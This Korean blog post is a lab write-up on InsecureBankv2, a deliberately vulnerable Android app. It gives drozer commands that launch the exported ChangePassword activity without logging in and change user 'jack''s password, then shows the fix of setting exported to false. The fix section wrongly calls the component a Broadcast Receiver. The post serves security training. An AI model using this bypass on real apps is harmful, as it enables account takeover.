본문 바로가기
Mobile/🩷 Android

08. Insecurebankv2 실습_취약한 인증 매커니즘

by snowflower.DY 2024. 4. 26.
취약한 인증 매커니즘이란?
(Weak Authorization Mechanism)

  애플리케이션의 정상적인 인증 절차를 우회하는 취약점으로서, 이는 비정상적인 인증 및 다른  사용자의 권한 탈취 등의 문제가 발생될 수 있다. 

 

취약점 인증 매커니즘 실습

  1.  drozer의 app.activity.info 명령어를 이용하여 insecurebank의 액티비티 정보를 확인한다. 

dz> run app.activity.info -a com.android.insecurebankv2
Attempting to run shell module
Package: com.android.insecurebankv2 # 패키지 명
  com.android.insecurebankv2.LoginActivity # 액티비티 명
    Permission: null
  com.android.insecurebankv2.PostLogin
    Permission: null
  com.android.insecurebankv2.DoTransfer
    Permission: null
  com.android.insecurebankv2.ViewStatement
    Permission: null
  com.android.insecurebankv2.ChangePassword
    Permission: null

 

 

2. APK 파일을 java 파일로 디컴파일해주는 도구를 사용하여, 패스워드 변경 시 uname 파라미터를 사용하는 것을 확인한다.

 

3. run app.activity.start 명령어를 이용하여 원하는 액티비티 직접 접근한다.

Insecurbank의 정상적인 패스워드 변경 절차
   - 로그인 후 패스워드 변경 액티비티에 접근
취약한 인증 매커니즘을 통한 비정상적인 패스워드 변경 절차
   - 아래의 명령어를 이용하여 로그인하지 않아도 패스워드 변경 액티비티에 접근 가능
#   run app.activity.start --component <패키지 명> <액티비티 명>
dz> run app.activity.start --component com.android.insecurebankv2
 com.android.insecurebankv2.ChangePassword

 

   안드로이드 기기에서 ChangePassword 액티비티가 실행된 것을 확인할 수 있다.

취약한 인증 매커니즘을 통한 ChangePassword 액티비티 접근

 

 

4. run app.activity.start 명령어의 --extra 옵션을 이용하여 파라미터 'uname'에 패스워드를 변경할 계정명 입력한다.

  # run app.activity.start --component <패키지 명> <액티비티 명> --extra string <파라미터 명> <파라미터 값>
dz> run app.activity.start --component com.android.insecurebankv2
 com.android.insecurebankv2.ChangePassword --extra string uname jack

 

  안드로이드 기기에서 uname에 파라미터 값 'jack' 이 입력된 것을 확인 후, 패스워드로 변경한다. 

jack 패스워드 변경

 

5. 서버 정보를 통해서 정상적으로 계정 'jack'의 패스워드가 변경된 것을 확인한다.

패스워드 변경 확인

 

대응방안

 

  Androidmanifest.xml에서 Broadcast Reciever 관련 항목이 export="true" 경우 취약한 인증 매커니즘 취약점이 발생한다.

<activity
	android:name=".PostLogin"
	android:exported="true"
    android:label="@string/title_activity_post_login" >
</activity>

 

 exported="false"로 수정하면 된다.

<activity
	android:name=".PostLogin"
	android:exported="false"
    android:label="@string/title_activity_post_login" >
</activity>